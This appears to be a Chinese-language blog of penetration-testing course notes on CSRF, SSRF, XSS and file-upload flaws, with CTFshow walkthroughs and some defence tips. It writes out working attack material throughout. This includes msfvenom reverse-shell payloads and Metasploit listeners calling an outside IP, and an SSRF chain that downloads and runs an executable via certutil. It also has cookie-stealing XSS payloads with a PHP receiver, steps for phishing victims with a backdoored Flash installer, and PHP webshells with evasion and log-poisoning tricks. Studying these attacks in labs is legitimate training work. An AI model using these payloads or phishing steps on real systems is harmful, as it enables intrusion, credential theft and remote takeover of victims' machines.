CSRF、SSRF黑白盒分析

CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为 “One Click Attack” 或 “Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但自己的qq号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。

CSRF的攻击过程两个条件:

1、目标用户已经登录了网站,能够执行网站的功能。

2、目标用户访问了攻击者构造的URL。

CSRF安全问题黑盒怎么判断:

1、看验证来源不-修复 //referer来源,如果不是从特定同源策略来的数据包不允许执行。但注意,数据包可以修改同源数据。因此只能防一部分。怎么检测是否有同源策略呢?从正常位置点击一个功能,保存这个url然后在另起一个页面输入该url,看是否能够执行。

2、看凭据有无token–修复

3、看关键操作有无验证-修复

-CSRF安全问题白盒怎么审计:

同黑盒思路一样,代码中分析上述三看

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

-SSRF黑盒可能出现的地方:

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

-SSRF白盒可能出现的地方:

1、功能点抓包指向代码块审计

2、功能点函数定位代码块审计

-SSRF常见安全修复防御方案:

1、禁用跳转

2、禁用不需要的协议

3、固定或限制资源地址

4、错误信息统一信息处理

#CSRF-原理&后台自动添加管理员

-案例说明:小迪在登录后台管理自己网站的时候,突然群里给小迪说阿祖又说爱上别人了,随后给我发了个URL链接,小迪直接点了进去,GG!

小迪的网站:http://test.xiaodi8.com/

发送的URL:http://47.94.236.117/add.html

利用流程:

1、获取目标的触发数据包

2、利用CSRFTester构造导出

3、诱使受害者访问特定地址触发

#SSRF-原理&服务&协议&内网&漏洞

-参考文章:https://www.t00ls.cc/articles-41070.html

-案例说明:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSRF探针本地及内网服务,并利用某漏洞直接获取到内网某主机的权限!

1、服务探针:

http://127.0.0.1:8081/

http://127.0.0.1:3306/

2、协议玩法:(更多玩法见上图)

file:///D:/www.txt

dict://127.0.0.1:3306/info

ftp://192.168.46.148:21

3、内网扫描:

http://192.168.46.148:8080

4、漏洞利用:

-生成:msfvenom -p windows/meterpreter/reverse_http LHOST=47.94.236.117 LPORT=6688 -f exe -o xx.exe

-监听:

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 0.0.0.0

set lport 6688

run

-下载:http://192.168.46.148:8080/?search==%00{.exec|cmd.exe%20/c%20certutil%20-urlcache%20-split%20-f%20http://47.94.236.117/xx.exe.}

-执行:http://192.168.46.148:8080/?search==%00{.exec|xx.exe.}

XSS

XSS产生于前端,其特征是有输出的特征,也就显示我们输入的数据。下面借鉴迪总的笔记。

#知识点:

1、XSS跨站-原理&攻击&分类等

2、XSS跨站-反射型&存储型&DOM型等

3、XSS跨站-攻击手法&劫持&盗取凭据等

4、XSS跨站-攻击项目&XSS平台&Beef-XSS

1、原理

指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。

-数据交互的地方

get、post、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

-数据输出的地方

用户资料

关键词、标签、说明

文件上传

2、分类

反射型(非持久型) //一次性的

存储型(持久型) //注入了一次就会一直存在

DOM型 //特征就是接收数据是由javascript实现的而不是php或者其他语言。

mXSS(突变型XSS)

UXSS(通用型xss)

Flash XSS

UTF-7 XSS

MHTML XSS

CSS XSS

VBScript XSS

3、危害

网络钓鱼,包括获取各类用户账号;

窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;

劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;

强制弹出广告页面、刷流量等;

网页挂马;

进行恶意操作,如任意篡改页面信息、删除文章等;

进行大量的客户端攻击,如ddos等;

获取客户端信息,如用户的浏览历史、真实ip、开放端口等;

控制受害者机器向其他网站发起攻击;

结合其他漏洞,如csrf,实施进一步危害;

提升用户权限,包括进一步渗透网站;

传播跨站脚本蠕虫等

4、修复

见绕过课程对比参考

①过滤一些危险字符

②HTTP-only Cookie

③设置CSP(Content Security Policy)

④输入内容长度限制,转义等

防御:使用session、httponly

#MXSS:https://www.fooying.com/the-art-of-xss-1-introduction/

#UXSS全称Universal Cross-Site Scripting

UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。

MICROSOFT EDGE uXSS CVE-2021-34506

Edge浏览器翻译功能导致JS语句被调用执行 //语句本身不被执行,被浏览器过滤掉,但是在特定版本的edge浏览器启用翻译后,原本被过滤的语句会正常执行

https://www.bilibili.com/video/BV1fX4y1c7rX

#Flashxss-swf引用js的xss

JPEXS Free Flash Decompiler

phpwind SWF反编译 Flashxss

ExternalInterface.call 执行JS代码

Payload:/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//

#PDFXSS-上传后直链触发

1、创建PDF,加入动作JS

2、通过文件上传获取直链

3、直链地址访问后被触发

#XSS-后台植入Cookie&表单劫持

-条件:已取得相关web权限后

1、写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持 //别人改了密码仍然有效果,因为采用的是cookie认证。只能利用没有防护的例子。在传递账号密码的时候用到javascript语句:<script src=”http://baidu.com/get.php?name=xxx&pass=xxx”></script>会把账号密码传输到url的get.php文件里。如果是用html写没问题,但是如果这句话写在php文件里,要使用变量来接受,比如:
$x='<script src=”http://baidu.com/get.php?name=xxx&pass=xxx”></script>’;
echo $x;

2、若存在同源策略或防护情况下,Cookie获取失败可采用表单劫持或数据明文传输实现 //记录管理员登陆时的账号密码提交的表单。最关键的就是:找到验证账号密码的文件,因为该文件必然会接受来自表单上传的账号和密码!

#XSS-Flash钓鱼配合MSF捆绑上线

-条件:beef上线受控后或直接钓鱼(受害者爱看SESE)

1、生成后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe > flash.exe

2、下载官方文件-保证安装正常

3、压缩捆绑文件-解压提取运行

4、MSF配置监听状态

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

5、诱使受害者访问URL-语言要适当

#XSS-浏览器网马配合MSF访问上线

-条件:beef上线受控后或直接钓鱼(浏览器存在0day)

1、配置MSF生成URL

use exploit/windows/browser/ms14_064_ole_code_execution

set allowpowershellprompt true

set target 1

run

2、诱使受害者访问URL-语言要适当

接下来跟着迪总完成CTFshow的相关关卡,来理解xss

316关:
在输入框尝试<script>alert(1)</script>能够弹窗,存在跨站

反射型-直接远程调用

<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script> //将当前窗口的cookie发送到 47.94.236.117(这是xiaodi8.com),在服务端会有接收文件,文件代码如下:

<?php
$cookie=$_GET[‘c’];
$myfile=fopen(“cookie.txt”,”w+”);
fwrite($myfile,$cookie);
fclose($myfile);

?>

下面解释一下怎么看cookie,以及怎么跳转指定网页。

检查网页,在控制台可以查看当前浏览器的cookie,如下图:

cookie

也可以查看窗口指向的地址,通过修改.href=”来实现跳转,如下图:

window指向
跳转百度

当管理员点击刚才构建的网址时,会将自己的cookie发送到攻击者的服务器上。

317-反射型-过滤<script>
我们可以尝试使用其他标签,比如<img>

<img src=1 onerror=window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;>

onerror:当图片显示不正常的时候执行,学习html5的时候学习过

318 319-反射型-过滤<img>

<input onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”>

<svg onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”> //可通杀之前的关卡

比起使用错误事件,使用onload(加载事件)更加方便,因为它不需要验证其他的操作,不需要任何条件久能触发JS语句。遇到标签被过滤,只能挨个尝试其他标签,如果所有标签都失效了那就没办法了。显然做好过滤可以防止xss

320-326-反射型-过滤空格

<svg/onload=”window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie;”> //用“/”代替空格

327-存储型-无过滤 //恶意代码被保存在数据库中,一被访问就会被触发

<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script>

328-存储型-注册插入JS //如果我们把用户名和密码改成payload,那么会不会在管理员的后台页面能够查看呢?当管理员查看时触发代码,cookie被攻击者盗取

<script>window.location.href=’http://47.94.236.117/get.php?c=’+document.cookie</script>

329-存储型-失效凭据需1步完成所需操作 //模拟管理员一点开session就关闭浏览器,session失效。也就是说攻击者没有在有效期内利用。

<script>

$(‘.laytable-cell-1-0-1’).each(function(index,value){

if(value.innerHTML.indexOf(‘ctf’+’show’)>-1){

window.location.href=’http://47.94.236.117/get.php?c=’+value.innerHTML;

}

});

</script> //因为session获取就失效了,所以直接获取页面的源代码

330-存储型-借助修改密码重置管理员密码(GET) //需要管理员在登陆的时候,点击了带有payload的账户信息,发生了跳转,payload如下:

<script>window.location.href=’http://127.0.0.1/api/change.php?p=123′;</script>

331-存储型-借助修改密码重置管理员密码(POST) //通过正常的抓包我们其实是可以判断出发包的方式,比如当抓包观察到这是用post请求发包的时候,改为以下:

<script>$.ajax({url:’http://127.0.0.1/api/change.php’,type:’post’,data:{p:’123′}});</script> //显然如果用户名和密码在设计的时候就做好过滤,这个漏洞就不会被使用。大部分都是用post提交!

#XSS修复-过滤函数&http_only&CSP&长度限制

1、过滤一些危险字符,以及转义& < > ” ‘ 等危险字符

自定义过滤函数引用

2、HTTP-only Cookie //微软为了保护cookie。如在php配置中httponly=1或者true,全局开启。默认是没有开启的

https://www.php.cn/php-ask-457831.html

php.ini设置或代码引用

session.cookie_httponly =1

ini_set(“session.cookie_httponly”, 1);

3、设置CSP(Content Security Policy) //文件的一个安全策略,防止数据被外发。要绕过只能把他删除掉,找到源码然后删掉它

https://blog.csdn.net/a1766855068/article/details/89370320

header(“Content-Security-Policy:img-src ‘self’ “);

4、输入内容长度限制,实体转义等

文件上传-黑盒测试-白盒测试

#白盒审计-Finecms-代码常规-处理逻辑

黑盒思路:寻找上传点抓包修改突破获取状态码及地址

审计流程:功能点-代码文件-代码块-抓包调试-验证测试

#白盒审计-CuppaCms-中间件-.htaccess

黑盒思路:存在文件管理上传改名突破,访问后在突破

审计流程:功能点-代码文件-代码块-抓包调试-验证测试

#白盒审计-Metinfo-编辑器引用-第三方安全

黑盒思路:探针目录利用编辑器漏洞验证测试

审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证

#文件上传:

黑盒:寻找一切存在文件上传的功能应用//能够上传文件来修改信息

1、个人用户中心是否存在文件上传功能

2、后台管理系统是否存在文件上传功能

3、字典目录扫描探针文件上传构造地址 //如upload.php等

4、字典目录扫描探针编辑器目录构造地址

白盒:看三点,中间件,编辑器,功能代码

1、中间件直接看语言环境常见搭配

2、编辑器直接看目录机构或搜索关键字

3、功能代码直接看源码应用或搜索关键字

我们可以从白盒角度去分析,从黑盒角度去测试

在演示xxcms的时候(该cms)是一个文件管理系统。在file management 这个地方可以上传图片。但是存在检查过滤,单纯的抓包改数据不能够突破后缀名检查。但是该cms存在重命名功能,此时企图重命名原来的png文件为xxx.php文件,正常来说系统会限制修改后缀名,所以正常来说修改过后的文件名为xxx.php.png。此时我们可以抓包看一下数据包能不能操作,发现有一个:
from xxx.php.png to xxx.php.png …… //此时我们猜想起了决定性作用的是to 后面的文件名,所以改包,把to后的文件名改成xxx.php发现可以成功修改名字,确实把png文件改成了php文件。一般的这个时候如果php文件里面是后门代码的话,我们就可以按照原本的思路进行连接。
但是,在演示的时候出现了在实战中经常会遇到的情况,就是访问路径的时候显示403,我们没有权限去访问这个路径。原因是存在一个.htaccess文件过滤了php文件名,限制了访问带php后缀名的url。因为开发者知道这个目录不应该存在php文件。
解决这个问题的思路:
1.把php上传到其他路径,其他路径可能没有被限制; //此时我们可以通过文件路径../或者多级跳../../ 来切换到一个不被过滤的目录然后再连接后门代码。
2.让.htaccess文件失效//但是在黑盒情况下我们并不清楚是因为这个文件生效;

另一个cms使用白名单机制,十分严谨。提示我们可以写代码的时候把后缀名固定住,防止抓包改包修改数据。

别的也有用%00截断(适用于php5.4版本之前)现在php少了,绝大部分是php7,php5少了很多了。

白盒审计三个注意点
·中间件
·编辑器 // 扫目录扫出编辑器,找到版本号,找到漏洞EXP,利用漏洞
·功能代码

文件上传-中间件解析漏洞-编辑器安全

之前的文章,通过ctfshow的二十个关卡的解题来了解文件上传的形式,注意到很多时候文件上传需要配合其他前置条件才能更好的实现。

借助迪总的笔记,然后再做自己的学习感悟。

#中间件文件解析-IIS&Apache&Nginx

-IIS 6 7 文件名 目录名

1、文件名:x.asp;.x.jpg //上传正常图片之后,一般输入路径能看到保存的图片。但是在这个漏洞环境下,修改图片的名字(如上),再次访问地址的时候,会出现解析代码的行为。如果该文件里面写有恶意代码,将会被执行。

2、目录名:x.asp/x.jpg //而目录同样存在风险,如果一个目录的名字,以.asp为例子,在目录里面的jpg文件如果含有基于asp代码写的恶意脚本,也能被解析执行。

3、IIS7.X与Nginx解析漏洞一致

-Apache 换行解析 配置不当

1、换行解析-CVE-2017-15715

其2.4.0~2.4.29版本中存在一个解析漏洞 //上传之后可能会有黑白名单限制。可以考虑使用截断来人绕过检测规则,比如说xxx.jpg%0a

2、配置不当-.htaccess配置不当

AddHandler application/x-httpd-php .php

-Nginx 文件名逻辑 解析漏洞

1、文件名逻辑-CVE-2013-4547

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

2、解析漏洞-nginx.conf配置不当

由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

#Web应用编辑器-Ueditor文件上传安全

<form action=”http://192.168.46.139/net/controller.ashx?action=catchimage” enctype=”multipart/form-data” method=”POST”>

<p>shell addr: <input type=”text” name=”source[]” /></p>

<input type=”submit” value=”Submit” />

</form>

#实例CMS&平台-中间件解析&编辑器引用

1、中间件配置不当导致文件被恶意解析

2、CMS源码引用外部编辑器实现文件上传

web安全文件上传漏洞

之前学习web漏洞的时候已经写过相关文章,但是仅学习原理知识远远不够,所以应该结合实践详细学习。跟着迪总把CTFshow的文件上传部分做一遍。

文件上传经常需要抓包,所以本篇文章主要利用的工具:
1.burp suit
2.firefox渗透版

bp和firefox

151:
题目显示是前端验证。用bp抓包,当上传png格式文件的时候抓到包,放行允许上传,但是jpg文件没抓到包,限制上传。这里说明数据没有传到后台验证,即本地验证也就是前端验证。那么对于这种情况可以审查源代码,查看他的判定条件。
这道题F12查看源码的时候,发现限制文件上传只能是png,那么右击上传按钮选择查看元素,修改文件类型为jpg可以实现jpg文件的上传。

这是典型的JS验证,攻击者只需要把后门文件通过这个功能点上传,就能实现目的。然后使用:蚁剑、哥斯拉、冰蝎等连接。
上传一句话后门之后,访问上传路径,然后再post处输入a(a是后门文件里的参数)=system(‘ls’); 来查看文件。

然后使用 a=system(‘ls ../’); 跳转到上一级目录,该操作系统为linux

最后执行a=system(‘tac ../flag.php’); 读取flag文件


152:
按照151的做法来,发现修改前端格式为php之后上传php代码,出现了类型不正确

也就是说事情没有那么简单,本关除了验证后缀名,还会验证MIME类型,如下图,如果是png文件会返回image/png,而我们改成php文件之后,就变成了下图的content-type

这个是后端验证生成的,我们可以修改成image/png,因为png是后端合法的类型,如下图

之后按照151那样操作得到flag

153:按照前两关思路来,没有作用。这题考点是 .user.ini 文件。
首先按照前两步骤的方式上传.uer.ini文件,内容是.user.ini:auto_prepend_file=test.png//绿色是要包含的文件。
然后再上传test.png,内容是后门代码:<?php eval($_POST[x]);?>
两个文件都上传成功之后,按照之前的方法找flag。
本质上这是通过文件包含间接执行文件。在本关中访问/upload的时候其实默认访问了index.php,不是访问.user.ini也不是访问test.png来触发的后门代码。index.php能让user.ini生效。具体可以查看如何使ini生效的配置,使得png文件里面的代码能够被解析执行。

154:
按照前三步做法,最后失败,回显状态码,提示后门文件上传失败

当修改内容发现又可以成功,如下图

所以这关对文件的内容进行了验证,代码中应该使用了正则表达式过滤掉<?php 这个语句。思路是使用短标签,下面四种方法执行php,但是需要配置,根据实际情况使用,推荐3、4。

1、<? echo ‘123’;?> //前提是开启配置参数short_open_tags=on

2、<?=(表达式)?> //不需要开启参数设置

3、<% echo ‘123’;%> //前提是开启配置参数asp_tags=on

4、<script language=”php”>echo ‘1’; </script> //不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST[x]);?>

之后按照前面步骤,向upload发送post包:x=system(‘tac ../flag.php’);

155:跟154一样

156:有时候遇到类似过滤,一个个删除看看过滤了哪些字符,然后找到替代的方法。再156中,过滤了POST[x]中的[x],此时只需要换成 {x} 即可

157:除了过滤{}、php、“;”可能还用正则过滤了别的字符。这个时候我们可以直接
<?=system(‘tac ../fl*’)?> //直接运行命令,并且使用通配符*可以表达出php
之后访问upload即可,不用再post参数因为我们没写后门代码。

158:这次连()也被过滤了,怎么办呢?由于php的特性,` `里面的内容会被当成命令执行,可以从这入手。

JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini:auto_prepend_file=test.png

test.png:<?=system(‘tac ../fl*’)?>

test.png:<? echo `tac /var/www/html/f*`?>

160:连` `都不能用了!咋整?这个靶场中间件用的是nginx,他有一个日志文件会记录传输得数据,因此我们可以尝试使用文件包含的思路,去包含日志文件的后门代码。

包含默认日志,日志记录UA头,UA头写后门代码

.user.ini:auto_prepend_file=test.png

test.png:<?=include”/var/lo”.”g/nginx/access.lo”.”g”?> //经过了拆分,数据里的符号会被过滤掉,之后还能拼接回来。

按道理说,上传了png和ini直接/upload/打开会出现日志文件,然后再抓包,修改user-agent:<?php eval($_POST[x]);?> 同时在第一行 GET后面修改地址为一个不一样的记得住的地址,发包,再次访问upload查看记录。
最后按照之前的步骤发post包读取flag

这是由于php路径被限制了

161:这关检测文件头,文件头有关的数据我在其他文章写有过。
比如GIF的文件头:GIF89A
本题过滤空格,所以要换行。

文件头部检测是否为图片格式文件

.user.ini:
GIF89A
auto_prepend_file=test.png

test.png:
GIF89A
<?=include”/var/lo”.”g/nginx/access.lo”.”g”?>

一样的,再改user-agent:后门代码//会被记录下来.

162:限制继续增加,现在连“.”也不允许,这说明后缀名就不能使用了。此时我们依然可以使用文件包含的思想,可以把后门代码写在某个网页,再发包申请包含这个网页上的后门文件。关键点在于UPL是有“.”的,不过我们可以在线转换ip为数字,就能实现。

163 突破上传删除

过滤 . () {} ;等 同时文件被删除

直接利用.user.ini包含远程

auto_prepend_file=http://794750069/

auto_prepend_file=http://794750069/

164 png二次渲染

二次渲染,其实是说中大型的网站,为了美观往往会修改图片的格式,可能会增删一些图片里面的数据。如果用010editor查看原图和上传之后的图,经过二次渲染后上传的图会有一部分与原图长生差异。此时我们要写入后门代码,就应该写在有与原图一致的地方。
然而,手工加入是很难实现的,看运气。所以大部分都是用工具生成图片码。
本关url地址上传文件之后,图片的地址不是写死的png(这样子是不能解析php的,要用ini),而是有“?=XXX.png”这样的url才有可能。
判断有没有二次渲染的方法:
1.判断文件上传前后的大小和内容
2.判断上传后文件返回数据包内容

如果不能上传php类型的文件,把后门代码写到了png中,要想png能被解析成php,就要使用一些方法:
1.包含漏洞
2.解析漏洞
3. .user.ini & .htaccess

https://blog.csdn.net/qq_40800734/article/details/105920149

get 0=system

post 1=tac flag.php

165 jpg二次渲染

1、先上传jpg正常,返回包发现渲染

2、上传jpg渲染后保存,生成带代码图片

调用执行:php jpg.php 1.jpg

166 zip调用包含

直接上传zip后修改代码

<?=eval($_POST[x]);?>

167 .htaccess妙用:
.htaccess是apache内置的“分布式配置文件”

.htaccess默认不支持nginx,设置后支持

.htaccess可以通过设置实现文件解析配置

可以将.png后缀的文件解析成php

AddType application/x-httpd-php .png

也可以将.png后缀的文件解析成php

168 免杀后门

<?php $a=’syste’;$b=’m’;$c=$a.$b;$c(‘tac ../flagaa.php’);?>

169 170日志包含

构造.user.ini利用条件:上传index.php 内容随意。因为.user.ini文件必须有index .php才能执行。如果目标目录没有index.php文件,我们应该上传一个。

上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log

访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>

这20关的上传让我明白了一些绕过规则上传文件的思路,显然,当前后端都进行验证,过滤,修改路径,或者不让别人访问目录等,都可以很大程度上防止文件上传漏洞的发生。
注意到比如.user.ini的利用,很多文件上传漏洞必须配合其他漏洞来执行,换句话说我们也可以通过消除这些前置问题,文件上传也很难利用。